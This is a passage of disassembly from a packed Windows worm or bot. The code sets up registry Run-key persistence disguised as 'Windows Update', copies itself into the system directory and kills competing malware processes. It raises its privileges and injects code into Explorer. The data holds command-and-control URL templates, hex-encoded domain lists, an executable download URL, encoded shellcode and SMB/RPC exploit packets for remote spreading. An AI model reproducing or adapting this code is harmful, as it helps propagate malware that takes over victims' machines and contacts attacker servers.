--------------------------------------------------------------------------- loc_309027FF: ; CODE XREF: sub_309027D3+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_30901008 ; RegQueryValueExA test eax, eax jz short loc_3090281E push 2 pop esi loc_3090281E: ; CODE XREF: sub_309027D3+46j push [ebp+arg_10] call dword_30901014 ; RegCloseKey mov eax, esi loc_30902829: ; CODE XREF: sub_309027D3+2Aj pop esi leave retn sub_309027D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3090282C proc near ; CODE XREF: sub_309029E5+96p ; sub_30902AB1+7Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_30901000 ; RegCreateKeyExA test eax, eax jz short loc_30902855 push 1 pop eax jmp short loc_3090287C ; --------------------------------------------------------------------------- loc_30902855: ; CODE XREF: sub_3090282C+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_30901004 ; RegSetValueExA test eax, eax jz short loc_30902871 push 2 pop esi loc_30902871: ; CODE XREF: sub_3090282C+40j push [ebp+arg_4] call dword_30901014 ; RegCloseKey mov eax, esi loc_3090287C: ; CODE XREF: sub_3090282C+27j pop esi pop ebp retn sub_3090282C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3090287F proc near ; CODE XREF: sub_30902937+98p var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_30901084 ; lstrlen mov esi, eax dec esi test esi, esi jle loc_30902933 loc_3090289F: ; CODE XREF: sub_3090287F+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_309028A8 dec esi jns short loc_3090289F loc_309028A8: ; CODE XREF: sub_3090287F+24j push 0 push 2 call sub_30902C7C ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_30902933 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_30902C26 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_30902C76 ; Process32First test eax, eax jz short loc_30902933 lea esi, [esi+ebx+1] loc_309028F0: ; CODE XREF: sub_3090287F+B2j lea eax, [ebp+var_104] push eax push esi call dword_30901100 ; strstr pop ecx test eax, eax pop ecx jz short loc_30902920 push [ebp+var_120] push 0 push 1F0FFFh call dword_309010AC ; OpenProcess push 0 push eax call dword_30901060 ; TerminateProcess loc_30902920: ; CODE XREF: sub_3090287F+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_30902C70 ; Process32Next test eax, eax jnz short loc_309028F0 loc_30902933: ; CODE XREF: sub_3090287F+1Aj ; sub_3090287F+38j ... pop esi pop ebx leave retn sub_3090287F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30902937 proc near ; CODE XREF: UPX0:30902326p var_138 = byte ptr -138h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 138h push ebx push esi lea eax, [ebp+var_30] push edi mov [ebp+var_30], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_2C], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_28], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_24], offset aBotLoader ; "Bot Loader" mov [ebp+var_20], offset aSystray ; "SysTray" mov [ebp+var_1C], offset aWinupdate ; "WinUpdate" mov [ebp+var_18], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_14], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_10], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_C], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_4], eax mov [ebp+var_8], 0Ah mov edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_309029A0: ; CODE XREF: sub_30902937+A7j mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_138] push eax push ebx push edi push esi call sub_309027D3 add esp, 14h test eax, eax jnz short loc_309029D7 push ebx push edi push esi call sub_3090279E lea eax, [ebp+var_138] push eax call sub_3090287F add esp, 10h loc_309029D7: ; CODE XREF: sub_30902937+87j add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_309029A0 pop edi pop esi pop ebx leave retn sub_30902937 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309029E5 proc near ; CODE XREF: sub_30902AB1+D1p ; sub_30902AB1+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_309029FA push [ebp+arg_0] call dword_309010E0 ; DeleteFileA loc_309029FA: ; CODE XREF: sub_309029E5+Aj lea eax, [ebp+var_78] push 63h push eax call dword_3090108C ; GetSystemDirectoryA test eax, eax jz locret_30902AAF push esi call dword_309010F8 ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_30901F2B mov esi, dword_30901088 pop ecx pop ecx lea eax, [ebp+var_14] push offset dword_30904228 push eax call esi ; lstrcat lea eax, [ebp+var_78] push offset dword_30904230 push eax call esi ; lstrcat lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcat lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_30901050 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_30901084 ; lstrlen inc eax push eax lea eax, [ebp+var_78] push eax push offset aWindowsUpdate ; "Windows Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_3090282C add esp, 14h push dword_30904FC4 call dword_3090107C ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_30901054 ; WinExec push 1F4h call dword_30901094 ; Sleep push 0 call dword_309010D8 ; ExitProcess pop esi locret_30902AAF: ; CODE XREF: sub_309029E5+23j leave retn sub_309029E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30902AB1 proc near ; CODE XREF: UPX0:3090232Bp var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_30901048 ; GetModuleFileNameA test eax, eax jz loc_30902BEA and dword_30904FE0, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_309027D3 add esp, 14h test eax, eax jz short loc_30902B37 call dword_309010F8 ; rand push 0Ah mov ebx, offset aSmusmdxdnulxk ; "smusmdxdnulxk" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_30901F2B pop ecx pop ecx push ebx call dword_30901084 ; lstrlen inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_3090282C add esp, 14h jmp short loc_30902B46 ; --------------------------------------------------------------------------- loc_30902B37: ; CODE XREF: sub_30902AB1+4Dj lea eax, [ebp+var_20] push eax push offset aSmusmdxdnulxk ; "smusmdxdnulxk" call dword_30901068 ; lstrcpy loc_30902B46: ; CODE XREF: sub_30902AB1+84j lea eax, [ebp+var_E8] push 63h push eax push offset aWindowsUpdate ; "Windows Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_309027D3 add esp, 14h test eax, eax jz short loc_30902B8C push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_3090282C lea eax, [ebp+var_84] push eax push 0 call sub_309029E5 add esp, 1Ch jmp short loc_30902BEA ; --------------------------------------------------------------------------- loc_30902B8C: ; CODE XREF: sub_30902AB1+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_3090104C ; lstrcmpi test eax, eax jnz short loc_30902BD5 lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_309027D3 add esp, 14h test eax, eax jnz short loc_30902BEA push ebx push edi push esi mov dword_30904FE0, 1 call sub_3090279E add esp, 0Ch jmp short loc_30902BEA ; --------------------------------------------------------------------------- loc_30902BD5: ; CODE XREF: sub_30902AB1+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_309029E5 pop ecx pop ecx loc_30902BEA: ; CODE XREF: sub_30902AB1+1Fj ; sub_30902AB1+D9j ... pop edi pop esi pop ebx leave retn sub_30902AB1 endp ; =============== S U B R O U T I N E ======================================= sub_30902BEF proc near ; CODE XREF: sub_309011A0+CAp ; sub_309015C7+11p ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_30901044 ; VirtualAlloc retn sub_30902BEF endp ; =============== S U B R O U T I N E ======================================= sub_30902C03 proc near ; CODE XREF: sub_309011A0+10Bp ; sub_309015C7+BDp arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_30901040 ; VirtualFree retn sub_30902C03 endp ; --------------------------------------------------------------------------- align 10h loc_30902C20: ; DATA XREF: sub_30901422+Ao ; sub_3090235D+Ao jmp dword ptr loc_309010FC ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_30902C26 proc near ; CODE XREF: sub_309017B9+128p ; sub_309017B9+134p ... jmp dword_309010F4 sub_30902C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_30902C2C proc near ; CODE XREF: sub_309017B9+9Cp ; sub_309017B9+C5p ... jmp dword_309010F0 sub_30902C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_30902C32 proc near ; CODE XREF: sub_309017B9+93p ; sub_309017B9+B2p ... jmp dword_309010EC sub_30902C32 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_30902C40 proc near ; CODE XREF: sub_309017B9+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_30902C60 loc_30902C4C: ; CODE XREF: sub_30902C40+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_30902C4C loc_30902C60: ; CODE XREF: sub_30902C40+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_30902C40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_30902C70 proc near ; CODE XREF: sub_3090287F+ABp jmp dword_30901064 sub_30902C70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_30902C76 proc near ; CODE XREF: sub_3090287F+64p jmp dword_3090105C sub_30902C76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_30902C7C proc near ; CODE XREF: sub_3090287F+2Dp jmp dword_30901058 sub_30902C7C endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) dd 4DFh dup(0) dword_30904000 dd 206h, 2400h, 31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h ; DATA XREF: sub_30901422+112o dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h dd 3072657Ah, 0 aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_309015C7+84o align 10h byte_30904080 db 1 ; DATA XREF: sub_3090169C+5r off_30904081 dd offset dword_3090421C ; DATA XREF: sub_3090169C+Dr db 1, 0Ch, 42h db 90h db 30h, 1, 0FCh dd 1309041h, 309041ECh, 9041D800h, 41C80130h, 0B8013090h dd 309041h, 309041ACh, 9041A001h, 41900130h, 80003090h dd 1309041h, 30904174h, 90416801h, 415C0130h, 54013090h dd 1309041h, 30904144h, 90413401h, 41200130h, 10013090h dd 1309041h, 30904108h, 9040FC01h, 40F00130h, 3090h, 68746566h dd 2E647261h, 7A6962h, 6B636168h, 2E737265h, 766Ch, 2E767663h dd 7572h, 2E777777h, 6C646572h, 2E656E69h, 7572h, 69766F6Ch dd 646F676Eh, 736F682Eh, 6B732E74h, 0 dd 656C6966h, 72616573h, 722E6863h, 75h, 646C6F67h, 61736E65h dd 722E646Eh, 75h, 6B637566h, 75722Eh, 6F646170h, 2E696B6Eh dd 67726Fh, 6A6F7274h, 722E6E61h, 75h, 63657361h, 2E616B68h dd 7572h, 7473616Dh, 782D7265h, 6D6F632Eh, 0 dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 722E7A61h dd 75h, 74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0 dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh dd 75722E6Bh, 0 dd 72617778h, 6A632E65h, 656E2E62h, 74h dword_3090421C dd 617A616Dh, 616B6166h, 75722Eh ; DATA XREF: UPX0:off_30904081o dword_30904228 dd 6578652Eh, 0 ; DATA XREF: sub_309011A0+75o ; sub_30902036+55o ... dword_30904230 dd 5Ch ; DATA XREF: sub_309011A0+49o ; sub_309029E5+56o aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_309011A0+13o align 4 aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_30901316+1Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_30901316+Co align 10h aZer0 db 'zer0',0 ; DATA XREF: sub_30901422+34o align 4 aHttpS db 'http://%s',0 ; DATA XREF: sub_309015C7+71o align 4 aHttpSIndex_php db 'http://%s/index.php?id=%s?scn=%d?inf=%d?ver=14?cnt=%s',0 ; DATA XREF: sub_309015C7+57o align 10h byte_309042F0 db 0EBh ; DATA XREF: sub_309017B9+24Eo ; sub_309017B9+260o ... db 58h word_309042F2 dw 7468h ; DATA XREF: sub_30902663+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 99C999ADh, 99C999C9h, 0B7C999C9h dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6 dup(99C999C9h) dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h, 83639D90h dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah, 9BAB9E59h dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh dd 0 dword_309045B8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_309017B9+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_30904644 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_309046F0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_309047D0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_309017B9+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_30904834 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_309048A0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_30904944 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_309049C4 dd 401495h, 3, 40707Ch, 1, 0 ; DATA XREF: sub_309017B9+51Co dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_30904A58 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_30904AC4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_30904B38 dd 0 ; DATA XREF: sub_309017B9+3A0o dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_30904BF6 dd 1004600h ; DATA XREF: sub_309017B9+289r dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_30904C30 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_309017B9+41Bo ; sub_309017B9+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_30904CA8: ; DATA XREF: sub_309017B9+44Ao jmp short loc_30904CB0 ; --------------------------------------------------------------------------- jmp short loc_30904CB2 ; --------------------------------------------------------------------------- align 10h loc_30904CB0: ; CODE XREF: UPX0:loc_30904CA8j ; DATA XREF: sub_309017B9+5Co pop esp pop esp loc_30904CB2: ; CODE XREF: UPX0:30904CAAj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_30904CBC dd 1CEC8166h ; DATA XREF: sub_309017B9+Dr dword_30904CC0 dd 0E4FF07h ; DATA XREF: sub_309017B9+1Cr aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_30901D20+62o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_30901D20+39o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_30901D20+2Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_30901D20+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_30901D20+8o ; sub_3090235D+D2o align 4 aUterm14 db 'uterm14',0 ; DATA XREF: sub_30901DA8:loc_30901E8Do ; UPX0:309022FCo ... aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_30901DA8+58o align 10h aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_30901DA8:loc_30901DEFo align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_30901DA8+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_30901DA8+18o align 10h dword_30904D70 dd 0E9F3F5h ; DATA XREF: sub_30902036+105o aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_30902036+F9o db 0Dh,0Ah db 0Dh,0Ah,0 align 4 aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_30902036+85o db 0Dh,0Ah,0 align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_30902036+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 4 aGet db 'GET',0 ; DATA XREF: sub_30902036+3Do aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:309022E7o align 4 aUser32 db 'user32',0 ; DATA XREF: sub_3090235D+D9o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_3090235D+CBo align 4 aWininet db 'wininet',0 ; DATA XREF: sub_3090235D+C4o aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_3090235D+B7o align 4 aU14 db 'u14',0 ; DATA XREF: sub_3090235D+A5o aU13 db 'u13',0 ; DATA XREF: sub_3090235D+99o aU12 db 'u12',0 ; DATA XREF: sub_3090235D+8Do aU11 db 'u11',0 ; DATA XREF: sub_3090235D+81o aU10 db 'u10',0 ; DATA XREF: sub_3090235D+75o aU9 db 'u9',0 ; DATA XREF: sub_3090235D+69o align 4 aU8 db 'u8',0 ; DATA XREF: sub_3090235D+5Do align 10h aU12x db 'u12x',0 ; DATA XREF: sub_3090235D+51o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_3090235D+45o align 10h aU10x db 'u10x',0 ; DATA XREF: sub_3090235D+3Bo align 4 aU13x db 'u13x',0 ; DATA XREF: sub_3090235D+22o align 10h aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_30902663+2Do align 4 aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_3090216F+23o ; sub_30902937+5Fo ... align 4 aWindowsUpdate db 'Windows Update',0 ; DATA XREF: sub_3090216F+1Co ; sub_309029E5+87o ... align 4 aSmusmdxdnulxk db 'smusmdxdnulxk',0 ; DATA XREF: sub_309015C7+4Fo ; sub_30902AB1+57o ... align 4 dd 2 dup(0) aSoftwareMicr_0 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_30902AB1+32o aClient db 'Client',0 ; DATA XREF: sub_30902AB1+BCo ; sub_30902AB1+F8o align 10h aId db 'ID',0 ; DATA XREF: sub_30902AB1+37o ; sub_30902AB1+75o align 4 aMsConfigV13 db 'MS Config v13',0 ; DATA XREF: sub_30902937+4Eo align 4 aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_30902937+47o align 10h aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_30902937+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_30902937+39o align 4 aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_30902937+32o align 10h aSystray db 'SysTray',0 ; DATA XREF: sub_30902937+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_30902937+24o align 4 aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_30902937+1Do align 4 aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_30902937+16o align 10h aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_30902937+Fo align 4 a1: ; DATA XREF: sub_30902AB1+B7o unicode 0, <1>,0 dd 6 dup(0) dword_30904FB8 dd 0 ; DATA XREF: sub_30902036+C7r ; sub_3090216F+80w dword_30904FBC dd 0 ; DATA XREF: sub_309015C7+43r ; sub_3090216F+2Dw dword_30904FC0 dd 0 ; DATA XREF: sub_30902036+79r ; sub_30902036:loc_309020E4r ... dword_30904FC4 dd 44h ; DATA XREF: sub_30901DA8+C2r ; UPX0:30902307w ... dword_30904FC8 dd 0 ; DATA XREF: sub_30902349+2r ; sub_3090235D+33w dword_30904FCC dd 0 ; DATA XREF: sub_3090216F+E0w ; sub_30902663+20r dword_30904FD0 dd 30900000h ; DATA XREF: sub_30901DA8+6r ; UPX0:309022ECw dword_30904FD4 dd 0 ; DATA XREF: sub_309015C7+49r ; sub_30902514+37o ... dword_30904FD8 dd 0 ; DATA XREF: UPX0:30902700w ; UPX0:30902712w word_30904FDC dw 0 ; DATA XREF: sub_309024B0+3Br ; sub_30902514:loc_30902575r ... align 10h dword_30904FE0 dd 0 ; DATA XREF: sub_30902AB1+25w ; sub_30902AB1+110w align 20h UPX0 ends ; Section 2. (virtual address 00005000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; 